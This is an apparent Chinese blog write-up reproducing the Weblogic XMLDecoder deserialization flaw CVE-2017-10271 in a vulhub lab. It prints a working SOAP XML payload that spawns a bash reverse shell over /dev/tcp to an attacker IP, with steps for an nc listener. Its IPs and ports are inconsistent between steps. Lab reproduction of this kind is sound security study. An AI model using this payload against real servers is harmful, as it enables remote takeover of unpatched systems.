Weblogic XMLDecoder反序列化漏洞(CVE -2017-10271)复现

漏洞原理

本文介绍了Weblogic XMLDecoder反序列化相关的漏洞原理,并以CVE-2017-10271为例在vulhub上进行了复现。有关Weblogic XMLDecoder反序列化漏洞包括CVE-2017-3506、CVE-2017-10271、CVE-2019-2725、CVE-2019-2729等,其漏洞原理相似,这里首先简要介绍Weblogc XMLDecoder相关的背景知识 。

Weblogic

用途:用于解析java,部署大型分布式Web应用的Web中间件。

默认端口:7001

历史漏洞:XMLDecode反序列化漏洞、反序列化漏洞、弱口令war包上传、SSRF等本文仅介绍XMLDecode反序列化漏洞

XMLDecoder是干啥的?

XMLDecoder/XMLEncoder 是在JDK1.4版中添加的 XML 格式序列化持久性方案,使用 XMLEncoder 来生成表示 JavaBeans 组件(bean)的 XML 文档,用 XMLDecoder 读取使用 XMLEncoder 创建的XML文档获取JavaBeans。总之就是用来解析XML文档的。

Weblogic XMLDecoder 反序列化漏洞原理简介

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XM(SOAP协议)数据,在解析的过程中出现反序列化漏洞,导致任意代码执行。出问题的包是wls-wsat、_async

漏洞复现(CVE-2017-10271)

复现过程(vulhub)

本文以CVE-2017-10271为例,用vulhub靶场进行漏洞复现,目标是获取反弹shell。

靶机:39.106.14.43

攻击机:kali 192.168.200.131

攻击机和靶机无所谓是不是kali和Ubuntu,攻击机用于接收反弹shell,靶机应该是Ubuntu上启动的docker。首先启动vulhub靶场,cd vulhub/weblogic/CVE-2017-10271,然后执行如下命令启动:

docker-compose up –d

docker ps查看进程,已经成功启动,端口为7001

浏览器访问靶机ip:7001,可看到如下的404页面,说明环境搭建成功。

weblogic XMLDecoder反序列化漏洞的出现位置有很多路径,具体路径我们在漏洞原理部分已经给出,这里就选第一个好了/wls-wsat/CoordinatorPortType,浏览器访问192.168.200.129:7001/wls-wsat/CoordinatorPortType,页面如下:

把访问这个可能触发XMLDecoder反序列化漏洞的页面的GET请求抓下来(BurpSuite抓个包),可以看到其HTTP请求如下图:

把这个包发送到重放器Repeater,一会改包添加poc。现在我们在攻击机kali中开启一个nc监听,监听7777端口,用于接收反弹shell(读者也可以选择其他端口)

改包,把刚才抓到的HTTP GET请求,修改请求方式为POST,然后加上反弹shell的恶意代码,注意要把Content-Type修改为text/xml 。

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
  <soapenv:Header> 
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
      <java class="java.beans.XMLDecoder">
        <object class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0"><string>/bin/bash</string></void>
            <void index="1"><string>-c</string></void>
            <void index="2"><string>bash -i &gt;&amp; /dev/tcp/192.168.219.134/4444 0&gt;&amp;1</string></void>
          </array>
          <void method="start"></void>
        </object>
      </java>
    </work:WorkContext> 
  </soapenv:Header>  
  <soapenv:Body/> 
</soapenv:Envelope>

完整的请求包如下:

把反弹shell的ip改成你的接收反弹shell的ip,端口改为刚才nc监听的端口。 改包之后,发送请求,响应包的状态码是500,如下图所示,如果响应包如下图这样,漏洞利用就成功了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值